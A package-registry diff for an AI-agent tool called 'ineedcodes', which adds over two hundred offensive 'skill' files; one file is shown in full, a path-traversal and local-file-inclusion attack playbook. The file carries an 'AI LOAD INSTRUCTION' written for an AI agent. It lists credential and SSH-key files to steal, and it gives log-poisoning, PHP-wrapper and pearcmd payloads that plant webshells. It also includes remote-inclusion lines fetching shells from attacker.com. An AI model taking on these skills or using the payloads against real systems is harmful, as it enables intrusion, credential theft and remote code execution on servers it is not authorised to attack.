ineedcodes 1.6.0 → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (218) hide show
  1. package/package.json +2 -1
  2. package/skills/401-403-bypass-techniques/SKILL.md +348 -0
  3. package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
  4. package/skills/active-directory-acl-abuse/SKILL.md +295 -0
  5. package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
  6. package/skills/active-directory-certificate-services/SKILL.md +303 -0
  7. package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
  8. package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
  9. package/skills/ai-ml-security/SKILL.md +425 -0
  10. package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
  11. package/skills/android-pentesting-tricks/SKILL.md +369 -0
  12. package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
  13. package/skills/anti-debugging-techniques/SKILL.md +407 -0
  14. package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
  15. package/skills/api-authorization-and-bola/SKILL.md +48 -0
  16. package/skills/api-recon-and-docs/SKILL.md +61 -0
  17. package/skills/api-sec/SKILL.md +49 -0
  18. package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
  19. package/skills/auth-sec/SKILL.md +41 -0
  20. package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
  21. package/skills/bba-ad-attacker/SKILL.md +420 -0
  22. package/skills/bba-api-security/SKILL.md +95 -0
  23. package/skills/bba-attack-planner/SKILL.md +186 -0
  24. package/skills/bba-binary-exploit/SKILL.md +65 -0
  25. package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
  26. package/skills/bba-bug-bounty/SKILL.md +245 -0
  27. package/skills/bba-cicd-redteam/SKILL.md +515 -0
  28. package/skills/bba-cloud-security/SKILL.md +97 -0
  29. package/skills/bba-container-escape/SKILL.md +161 -0
  30. package/skills/bba-credential-tester/SKILL.md +346 -0
  31. package/skills/bba-crypto-analyst/SKILL.md +54 -0
  32. package/skills/bba-ctf-solver/SKILL.md +166 -0
  33. package/skills/bba-detection-engineer/SKILL.md +93 -0
  34. package/skills/bba-engagement-planner/SKILL.md +68 -0
  35. package/skills/bba-exploit-chainer/SKILL.md +280 -0
  36. package/skills/bba-exploit-guide/SKILL.md +96 -0
  37. package/skills/bba-forensics-analyst/SKILL.md +512 -0
  38. package/skills/bba-graphql-hunter/SKILL.md +145 -0
  39. package/skills/bba-hardware-hacker/SKILL.md +57 -0
  40. package/skills/bba-jwt-cracker/SKILL.md +133 -0
  41. package/skills/bba-llm-redteam/SKILL.md +149 -0
  42. package/skills/bba-malware-analyst/SKILL.md +305 -0
  43. package/skills/bba-mobile-pentester/SKILL.md +350 -0
  44. package/skills/bba-osint-collector/SKILL.md +645 -0
  45. package/skills/bba-payload-crafter/SKILL.md +347 -0
  46. package/skills/bba-phishing-operator/SKILL.md +516 -0
  47. package/skills/bba-poc-validator/SKILL.md +249 -0
  48. package/skills/bba-privesc-advisor/SKILL.md +98 -0
  49. package/skills/bba-purple-team/SKILL.md +56 -0
  50. package/skills/bba-recon-advisor/SKILL.md +215 -0
  51. package/skills/bba-red-team-operator/SKILL.md +61 -0
  52. package/skills/bba-report-generator/SKILL.md +145 -0
  53. package/skills/bba-reverse-engineer/SKILL.md +298 -0
  54. package/skills/bba-social-engineer/SKILL.md +341 -0
  55. package/skills/bba-ssrf-hunter/SKILL.md +120 -0
  56. package/skills/bba-stig-analyst/SKILL.md +108 -0
  57. package/skills/bba-subdomain-takeover/SKILL.md +141 -0
  58. package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
  59. package/skills/bba-threat-modeler/SKILL.md +574 -0
  60. package/skills/bba-vuln-scanner/SKILL.md +305 -0
  61. package/skills/bba-web-hunter/SKILL.md +285 -0
  62. package/skills/bba-wireless-pentester/SKILL.md +539 -0
  63. package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
  64. package/skills/binary-protection-bypass/SKILL.md +295 -0
  65. package/skills/browser-exploitation-v8/SKILL.md +334 -0
  66. package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
  67. package/skills/business-logic-vuln/SKILL.md +33 -0
  68. package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
  69. package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
  70. package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
  71. package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
  72. package/skills/classical-cipher-analysis/SKILL.md +663 -0
  73. package/skills/clickjacking/SKILL.md +163 -0
  74. package/skills/cmdi-command-injection/SKILL.md +687 -0
  75. package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
  76. package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
  77. package/skills/container-escape-techniques/SKILL.md +339 -0
  78. package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
  79. package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
  80. package/skills/crlf-injection/SKILL.md +179 -0
  81. package/skills/csp-bypass-advanced/SKILL.md +259 -0
  82. package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
  83. package/skills/csv-formula-injection/SKILL.md +144 -0
  84. package/skills/dangling-markup-injection/SKILL.md +321 -0
  85. package/skills/defi-attack-patterns/SKILL.md +355 -0
  86. package/skills/dependency-confusion/SKILL.md +178 -0
  87. package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
  88. package/skills/deserialization-insecure/SKILL.md +725 -0
  89. package/skills/dns-rebinding-attacks/SKILL.md +337 -0
  90. package/skills/email-header-injection/SKILL.md +349 -0
  91. package/skills/expression-language-injection/SKILL.md +243 -0
  92. package/skills/file-access-vuln/SKILL.md +33 -0
  93. package/skills/format-string-exploitation/SKILL.md +312 -0
  94. package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
  95. package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
  96. package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
  97. package/skills/hack/SKILL.md +162 -0
  98. package/skills/hash-attack-techniques/SKILL.md +491 -0
  99. package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
  100. package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
  101. package/skills/heap-exploitation/SKILL.md +217 -0
  102. package/skills/http-host-header-attacks/SKILL.md +323 -0
  103. package/skills/http-parameter-pollution/SKILL.md +208 -0
  104. package/skills/http2-specific-attacks/SKILL.md +350 -0
  105. package/skills/idor-broken-object-authorization/SKILL.md +336 -0
  106. package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
  107. package/skills/injection-checking/SKILL.md +50 -0
  108. package/skills/insecure-source-code-management/SKILL.md +161 -0
  109. package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
  110. package/skills/ios-pentesting-tricks/SKILL.md +418 -0
  111. package/skills/jndi-injection/SKILL.md +265 -0
  112. package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
  113. package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
  114. package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
  115. package/skills/kernel-exploitation/SKILL.md +307 -0
  116. package/skills/kubernetes-pentesting/SKILL.md +348 -0
  117. package/skills/lattice-crypto-attacks/SKILL.md +497 -0
  118. package/skills/linux-lateral-movement/SKILL.md +348 -0
  119. package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
  120. package/skills/linux-privilege-escalation/SKILL.md +346 -0
  121. package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
  122. package/skills/linux-security-bypass/SKILL.md +345 -0
  123. package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
  124. package/skills/llm-prompt-injection/SKILL.md +357 -0
  125. package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
  126. package/skills/macos-process-injection/SKILL.md +384 -0
  127. package/skills/macos-security-bypass/SKILL.md +337 -0
  128. package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
  129. package/skills/memory-forensics-volatility/SKILL.md +323 -0
  130. package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
  131. package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
  132. package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
  133. package/skills/network-protocol-attacks/SKILL.md +330 -0
  134. package/skills/nosql-injection/SKILL.md +341 -0
  135. package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
  136. package/skills/ntlm-relay-coercion/SKILL.md +267 -0
  137. package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
  138. package/skills/open-redirect/SKILL.md +380 -0
  139. package/skills/path-traversal-lfi/SKILL.md +802 -0
  140. package/skills/prototype-pollution/SKILL.md +190 -0
  141. package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
  142. package/skills/prototype-pollution-advanced/SKILL.md +338 -0
  143. package/skills/race-condition/SKILL.md +526 -0
  144. package/skills/recon-and-methodology/SKILL.md +389 -0
  145. package/skills/recon-for-sec/SKILL.md +29 -0
  146. package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
  147. package/skills/request-smuggling/SKILL.md +314 -0
  148. package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
  149. package/skills/reverse-shell-techniques/SKILL.md +290 -0
  150. package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
  151. package/skills/rsa-attack-techniques/SKILL.md +437 -0
  152. package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
  153. package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
  154. package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
  155. package/skills/sandbox-escape-techniques/SKILL.md +250 -0
  156. package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
  157. package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
  158. package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
  159. package/skills/sqli-sql-injection/SKILL.md +489 -0
  160. package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
  161. package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
  162. package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
  163. package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
  164. package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
  165. package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
  166. package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
  167. package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
  168. package/skills/stack-overflow-and-rop/SKILL.md +304 -0
  169. package/skills/steganography-techniques/SKILL.md +348 -0
  170. package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
  171. package/skills/subdomain-takeover/SKILL.md +247 -0
  172. package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
  173. package/skills/symbolic-execution-tools/SKILL.md +419 -0
  174. package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
  175. package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
  176. package/skills/traffic-analysis-pcap/SKILL.md +341 -0
  177. package/skills/tunneling-and-pivoting/SKILL.md +343 -0
  178. package/skills/type-juggling/SKILL.md +291 -0
  179. package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
  180. package/skills/unauthorized-access-common-services/SKILL.md +388 -0
  181. package/skills/upload-insecure-files/SCENARIOS.md +158 -0
  182. package/skills/upload-insecure-files/SKILL.md +543 -0
  183. package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
  184. package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
  185. package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
  186. package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
  187. package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
  188. package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
  189. package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
  190. package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
  191. package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
  192. package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
  193. package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
  194. package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
  195. package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
  196. package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
  197. package/skills/waf-bypass-techniques/SKILL.md +290 -0
  198. package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
  199. package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
  200. package/skills/web-cache-deception/SKILL.md +222 -0
  201. package/skills/websocket-security/SKILL.md +454 -0
  202. package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
  203. package/skills/windows-av-evasion/SKILL.md +342 -0
  204. package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
  205. package/skills/windows-lateral-movement/SKILL.md +335 -0
  206. package/skills/windows-privilege-escalation/SKILL.md +328 -0
  207. package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
  208. package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
  209. package/skills/xslt-injection/SKILL.md +281 -0
  210. package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
  211. package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
  212. package/skills/xss-cross-site-scripting/SKILL.md +379 -0
  213. package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
  214. package/skills/xxe-xml-external-entity/SKILL.md +554 -0
  215. package/src/agent.js +1 -1
  216. package/src/session.js +47 -11
  217. package/src/skills.js +30 -6
  218. package/src/ui.js +1 -1
@@ -0,0 +1,802 @@
1
+ ---
2
+ name: path-traversal-lfi
3
+ description: >-
4
+ Path traversal and LFI playbook. Use when file paths, download endpoints, include operations, archive extraction, or wrapper behavior may expose filesystem control.gated: true
5
+ ---
6
+
7
+ # SKILL: Path Traversal / Local File Inclusion (LFI) — Expert Attack Playbook
8
+
9
+ > **AI LOAD INSTRUCTION**: Expert path traversal and LFI techniques. Covers encoding bypass sequences, OS differences, filter bypass, PHP wrapper exploitation, log poisoning to RCE, and the critical distinction between path traversal (read only) vs LFI (execution). Base models miss encoding chains and RCE escalation paths.
10
+
11
+ ## 0. RELATED ROUTING
12
+
13
+ Before deep exploitation, you can first load:
14
+
15
+ - [upload insecure files](../upload-insecure-files/SKILL.md) when the primary attack surface is an upload workflow rather than an include or read primitive
16
+ - [ghost-bits-cast-attack](../ghost-bits-cast-attack/SKILL.md) when the target is a **Java backend** (Spring, Jetty, Undertow, Vert.x) and standard `../`, `%2e%2e`, `%252e` chains are WAF-blocked — Ghost Bits substitutes `.` with `阮` (U+962E) and `/` with `阯` (U+962F), re-enabling traversal through Spring CVE-2025-41242 and Jetty `%2>` hex-folding
17
+
18
+ ### First-pass traversal chains
19
+
20
+ ```text
21
+ ../etc/passwd
22
+ ../../../../etc/passwd
23
+ ..%2f..%2f..%2fetc%2fpasswd
24
+ ..%252f..%252f..%252fetc%252fpasswd
25
+ ..\\..\\..\\windows\\win.ini
26
+ ```
27
+
28
+ ---
29
+
30
+ ## 1. CORE CONCEPT
31
+
32
+ **Path Traversal**: Read arbitrary files by escaping the intended directory with `../` sequences.
33
+ **LFI**: In PHP, when user input controls `include()`/`require()` — file is **executed** as PHP code, not just read.
34
+
35
+ ```
36
+ http://target.com/index.php?page=home
37
+ → Opens: /var/www/html/pages/home.php
38
+
39
+ Traversal attack:
40
+ http://target.com/index.php?page=../../../../etc/passwd
41
+ → Opens: /etc/passwd
42
+ ```
43
+
44
+ ---
45
+
46
+ ## 2. TRAVERSAL SEQUENCE VARIANTS
47
+
48
+ The filtering strategy determines which encoding to use:
49
+
50
+ ### Basic
51
+ ```
52
+ ../../../etc/passwd
53
+ ..\..\..\windows\system32\drivers\etc\hosts (Windows)
54
+ ```
55
+
56
+ ### URL Encoding
57
+ ```
58
+ %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd ← %2f = '/'
59
+ %2e%2e%5c%2e%2e%5c%2e%2e%5c ← %5c = '\'
60
+ ```
61
+
62
+ ### Double URL Encoding (when server decodes once, filter checks before decode)
63
+ ```
64
+ %252e%252e%252f%252e%252e%252f ← %25 = %, double-encoded %2e
65
+ ..%252f..%252fetc%252fpasswd
66
+ ```
67
+
68
+ ### Unicode / Overlong UTF-8
69
+ ```
70
+ ..%c0%af..%c0%af ← overlong UTF-8 encoding of '/'
71
+ ..%c1%9c..%c1%9c ← overlong UTF-8 encoding of '\'
72
+ ..%ef%bc%8f ← fullwidth solidus '/'
73
+ ```
74
+
75
+ ### Mixed Encodings
76
+ ```
77
+ ..%2F..%2Fetc%2Fpasswd
78
+ ....//....//etc/passwd ← double-dot with slash (filter strips single ../)
79
+ ```
80
+
81
+ ### Filter Strips `../` (so `../` becomes `../` after strip)
82
+ ```
83
+ ....// ← becomes ../ after filter strips ../
84
+ ..././ ← becomes ../ after filter strips ./
85
+ ```
86
+
87
+ ### Null Byte Injection (legacy PHP < 5.3.4)
88
+ ```
89
+ ../../../../etc/passwd%00.jpg ← %00 truncates string, strips .jpg extension
90
+ ../../../../etc/passwd%00.php
91
+ ```
92
+
93
+ ---
94
+
95
+ ## 3. TARGET FILES AND ESCALATION TARGETS
96
+
97
+ ### Linux
98
+ ```
99
+ /etc/passwd ← user list (usernames, UIDs)
100
+ /etc/shadow ← password hashes (requires root-level file read)
101
+ /etc/hosts ← internal hostnames → pivot targets
102
+ /etc/hostname ← server hostname
103
+ /proc/self/environ ← process environment (DB creds, API keys!)
104
+ /proc/self/cmdline ← process command line
105
+ /proc/self/fd/0 ← stdin file descriptor
106
+ /proc/[pid]/maps ← memory maps (loaded libraries with paths)
107
+ /var/log/apache2/access.log ← for log poisoning
108
+ /var/log/apache2/error.log
109
+ /var/log/nginx/access.log
110
+ /var/log/auth.log ← SSH attempt log
111
+ /var/mail/www-data ← email for www-data user
112
+ /home/USER/.ssh/id_rsa ← SSH private key
113
+ /home/USER/.ssh/authorized_keys
114
+ /home/USER/.bash_history ← command history (credentials!)
115
+ /home/USER/.aws/credentials ← AWS keys
116
+ /tmp/sess_SESSIONID ← PHP session files (if session.save_path=/tmp)
117
+ ```
118
+
119
+ ### Web Application Config Files
120
+ ```
121
+ /var/www/html/.env ← Laravel/Node.js env vars
122
+ /var/www/html/config.php ← PHP config
123
+ /var/www/html/wp-config.php ← WordPress DB credentials
124
+ /etc/apache2/sites-enabled/ ← Apache vhosts
125
+ /etc/nginx/sites-enabled/ ← Nginx config
126
+ /usr/local/etc/nginx/nginx.conf
127
+ ```
128
+
129
+ ### Windows
130
+ ```
131
+ C:\Windows\System32\drivers\etc\hosts
132
+ C:\Windows\win.ini
133
+ C:\Windows\System32\config\SAM ← NTLM hashes (often locked)
134
+ C:\inetpub\wwwroot\web.config ← ASP.NET DB connection strings
135
+ C:\inetpub\wwwroot\global.asa
136
+ C:\xampp\htdocs\wp-config.php
137
+ C:\Users\Administrator\.ssh\id_rsa
138
+ C:\ProgramData\MySQL\MySQL Server 8\my.ini ← MySQL config
139
+ ```
140
+
141
+ ---
142
+
143
+ ## 4. PHP LFI → RCE TECHNIQUES
144
+
145
+ ### Log Poisoning (most reliable when log is accessible)
146
+ **Step 1**: Inject PHP code into Apache/Nginx access log via User-Agent:
147
+ ```http
148
+ GET / HTTP/1.1
149
+ User-Agent: <?php system($_GET['cmd']); ?>
150
+ ```
151
+ **Step 2**: Include the log file via LFI:
152
+ ```
153
+ ?page=../../../../var/log/apache2/access.log&cmd=id
154
+ ```
155
+
156
+ ### SSH Log Poisoning
157
+ Inject PHP payload as SSH username:
158
+ ```bash
159
+ ssh '<?php system($_GET["cmd"]); ?>'@target.com
160
+ ```
161
+ Then include `/var/log/auth.log`.
162
+
163
+ ### PHP Session File Poisoning
164
+ **Step 1**: Send PHP code in session-stored parameter (e.g., username), triggering storage in session file
165
+ **Step 2**: Include session file:
166
+ ```
167
+ ?page=../../../../tmp/sess_SESSIONID&cmd=id
168
+ ```
169
+ Find session ID from cookie `PHPSESSID`.
170
+
171
+ ### PHP Wrappers for RCE
172
+
173
+ **`php://expect` wrapper** (requires `expect` PHP extension):
174
+ ```
175
+ ?page=expect://id
176
+ ```
177
+
178
+ **`php://input` wrapper** (combine LFI with POST body):
179
+ ```
180
+ POST ?page=php://input
181
+ Body: <?php system('id'); ?>
182
+ ```
183
+
184
+ **`data://` wrapper** (inject PHP directly as base64):
185
+ ```
186
+ ?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=&cmd=id
187
+ ```
188
+ (PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4= = `<?php system($_GET['cmd']); ?>`)
189
+
190
+ ---
191
+
192
+ ## 5. PHP FILTER WRAPPER (FILE CONTENT READ)
193
+
194
+ Use `php://filter` to base64-encode file content to avoid null bytes, binary data:
195
+ ```
196
+ ?page=php://filter/convert.base64-encode/resource=config.php
197
+ ?page=php://filter/convert.base64-encode/resource=/etc/passwd
198
+ ?page=php://filter/read=string.rot13/resource=config.php
199
+ ?page=php://filter/convert.iconv.UTF-8.UTF-16LE/resource=config.php
200
+ ```
201
+ Decode the returned base64 to see the file contents (including PHP source code).
202
+
203
+ **Chain filters** (multiple transforms to bypass input filters):
204
+ ```
205
+ ?page=php://filter/convert.base64-encode|convert.base64-encode/resource=/etc/passwd
206
+ ```
207
+
208
+ ---
209
+
210
+ ## 6. REMOTE FILE INCLUSION (RFI) — WHEN ENABLED
211
+
212
+ If PHP's `allow_url_include = On` (rare but exists):
213
+ ```
214
+ ?page=http://attacker.com/shell.txt
215
+ ?page=ftp://attacker.com/shell.php
216
+ ```
217
+ Host a `shell.txt` with `<?php system($_GET['cmd']); ?>`.
218
+
219
+ ---
220
+
221
+ ## 7. SERVER-SPECIFIC PATH TRUNCATION
222
+
223
+ PHP has a historical path length limit. Pad with `.` or `/./` to truncate appended extension:
224
+ ```
225
+ ?page=../../../../etc/passwd/./././././././././././............ (255+ chars)
226
+ ```
227
+ When server appends `.php`, the truncation drops it.
228
+
229
+ Or null byte if PHP < 5.3.4:
230
+ ```
231
+ ?page=../../../../etc/passwd%00
232
+ ```
233
+
234
+ ---
235
+
236
+ ## 8. PARAMETER LOCATIONS TO TEST
237
+
238
+ ```
239
+ ?file= ?page= ?include= ?path=
240
+ ?doc= ?view= ?load= ?read=
241
+ ?template= ?lang= ?url= ?src=
242
+ ?content= ?site= ?layout= ?module=
243
+ ```
244
+
245
+ Also test: HTTP headers, cookies, form `action` values, import/upload features.
246
+
247
+ ---
248
+
249
+ ## 9. FILTER BYPASS CHECKLIST
250
+
251
+ When `../` is stripped or blocked:
252
+
253
+ ```
254
+ □ Try URL encoding: %2e%2e%2f
255
+ □ Try double URL encoding: %252e%252e%252f
256
+ □ Try overlong UTF-8: ..%c0%af / ..%ef%bc%8f
257
+ □ Try mixed: ..%2F or ..%5C (backslash on Linux)
258
+ □ Try redundant sequences: ....// or ..././ (strip once → still ../)
259
+ □ Try null byte: /../../../etc/passwd%00
260
+ □ Try absolute path: /etc/passwd (if no path prefix added)
261
+ □ Try Windows UNC (Windows server): \\127.0.0.1\C$\Windows\win.ini
262
+ ```
263
+
264
+ ---
265
+
266
+ ## 10. IMPACT ESCALATION PATH
267
+
268
+ ```
269
+ Path traversal (read arbitrary files)
270
+ ├── Read /etc/passwd → enumerate users
271
+ ├── Read /proc/self/environ → find API keys, DB passwords in env
272
+ ├── Read app config files → find credentials → horizontal movement
273
+ ├── Read SSH private keys → direct server login
274
+ └── Find log paths → Log Poisoning → LFI RCE
275
+
276
+ LFI (PHP code inclusion)
277
+ ├── Log poisoning → webshell
278
+ ├── Session file poisoning → webshell
279
+ ├── php://input → direct code execution
280
+ ├── data:// → direct code execution
281
+ └── php://filter → read PHP source code → find more vulnerabilities
282
+ ```
283
+
284
+ ---
285
+
286
+ ## 11. LFI TO RCE ESCALATION PATHS
287
+
288
+ | Method | Requirements | Payload |
289
+ |---|---|---|
290
+ | Log Poisoning (Apache) | LFI + Apache access.log readable | Inject `<?php system($_GET['c']);?>` in User-Agent → include `/var/log/apache2/access.log` |
291
+ | Log Poisoning (SSH) | LFI + SSH auth.log readable | SSH as `<?php system('id');?>@target` → include `/var/log/auth.log` |
292
+ | Log Poisoning (Mail) | LFI + mail log readable | Send email with PHP in subject → include `/var/log/mail.log` |
293
+ | /proc/self/fd bruteforce | LFI + Linux | Bruteforce `/proc/self/fd/0` through `/proc/self/fd/255` for open file handles containing injected content |
294
+ | /proc/self/environ | LFI + CGI/FastCGI | Inject PHP in `User-Agent` header → include `/proc/self/environ` |
295
+ | iconv CVE-2024-2961 | glibc < 2.39, PHP with `php://filter` | `php://filter/convert.iconv.UTF-8.ISO-2022-CN-EXT/resource=` chain to heap overflow → RCE. Tool: cnext-exploits |
296
+ | phpinfo() assisted | LFI + phpinfo page accessible | Race condition: upload tmp file via multipart to phpinfo → read tmp path from response → include before cleanup |
297
+ | PHP Session | LFI + session file writable | Inject PHP into session via controllable session variable → include `/tmp/sess_SESSIONID` or `/var/lib/php/sessions/sess_SESSIONID` |
298
+ | Upload race | LFI + upload endpoint | Upload PHP file → include before server-side validation/deletion |
299
+
300
+ ---
301
+
302
+ ## 12. PHP WRAPPER EXPLOITATION MATRIX
303
+
304
+ ### php://filter (most powerful, always try first)
305
+
306
+ ```text
307
+ php://filter/convert.base64-encode/resource=index.php
308
+ php://filter/read=string.rot13/resource=index.php
309
+ php://filter/convert.iconv.utf-8.utf-16/resource=index.php
310
+ php://filter/zlib.deflate/resource=index.php
311
+ ```
312
+
313
+ **Filter chain RCE** (synacktiv php_filter_chain_generator):
314
+
315
+ - Chain multiple `convert.iconv` filters to write arbitrary bytes without file upload
316
+ - Tool: `synacktiv/php_filter_chain_generator` → generates chain that writes PHP code
317
+ - `python3 php_filter_chain_generator.py --chain '<?php system("id");?>'`
318
+
319
+ **convert.iconv + dechunk oracle** (blind file read):
320
+
321
+ - Tool: `synacktiv/php_filter_chains_oracle_exploit` (filters_chain_oracle_exploit)
322
+ - Enables blind LFI to read file contents character by character
323
+
324
+ ### php://input
325
+
326
+ ```text
327
+ POST vulnerable.php?page=php://input
328
+ Body: <?php system('id'); ?>
329
+ ```
330
+
331
+ Requires `allow_url_include=On`
332
+
333
+ ### data://
334
+
335
+ ```text
336
+ data://text/plain,<?php system('id');?>
337
+ data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
338
+ data:text/plain,<?php system('id');?> ← note: no double slash variant also works
339
+ ```
340
+
341
+ ### phar://
342
+
343
+ ```text
344
+ phar://uploaded.phar/test.php
345
+ ```
346
+
347
+ Triggers deserialization of phar metadata → RCE via POP chain (requires file upload of crafted phar, can be disguised as JPEG)
348
+
349
+ ### zip://
350
+
351
+ ```text
352
+ zip://uploaded.zip%23shell.php
353
+ ```
354
+
355
+ ### expect://
356
+
357
+ ```text
358
+ expect://id
359
+ ```
360
+
361
+ Requires `expect` extension (rare)
362
+
363
+ ---
364
+
365
+ ## 13. PEARCMD LFI EXPLOITATION
366
+
367
+ When `pearcmd.php` is accessible via LFI (common in Docker PHP images):
368
+
369
+ | Method | Payload |
370
+ |---|---|
371
+ | config-create | `/?file=pearcmd.php&+config-create+/<?=phpinfo()?>+/tmp/shell.php` |
372
+ | man_dir | `/?file=pearcmd.php&+-c+/tmp/shell.php+-d+man_dir=<?=phpinfo()?>+-s+` |
373
+ | download | `/?file=pearcmd.php&+download+http://attacker.com/shell.php` |
374
+ | install | `/?file=pearcmd.php&+install+http://attacker.com/shell.tgz` |
375
+
376
+ ---
377
+
378
+ ## 14. WINDOWS-SPECIFIC LFI TECHNIQUES
379
+
380
+ **FindFirstFile wildcard** (Windows only):
381
+
382
+ - `<` matches any single character, `>` matches any sequence (similar to `?` and `*` but in file APIs)
383
+ - `php<<` can match `php5`, `phtml`, etc.
384
+ - `..\..\windows\win.ini` → use `<<` for fuzzy matching: `..\..\windows\win<<`
385
+
386
+ ---
387
+
388
+ ## 15. PARAMETER NAMING PATTERNS (HIGH-FREQUENCY TARGETS)
389
+
390
+ Based on vulnerability research statistical analysis:
391
+
392
+ | Parameter Name | Frequency | Context |
393
+ |---|---|---|
394
+ | `filename`, `file`, `path` | Very High | Direct file operations |
395
+ | `page`, `include`, `template` | High | Template/page inclusion |
396
+ | `url`, `src`, `href` | High | Resource loading |
397
+ | `download`, `read`, `load` | Medium | File download/read |
398
+ | `dir`, `folder`, `root` | Medium | Directory operations |
399
+ | `hdfile`, `inputFile`, `XFileName` | Low | CMS/middleware specific |
400
+ | `FileUrl`, `filePath`, `docPath` | Low | Enterprise app specific |
401
+
402
+ High-frequency vulnerable endpoints:
403
+
404
+ `down.php`, `download.jsp`, `download.asp`, `readfile.php`, `file_download.php`, `getfile.php`, `view.php`
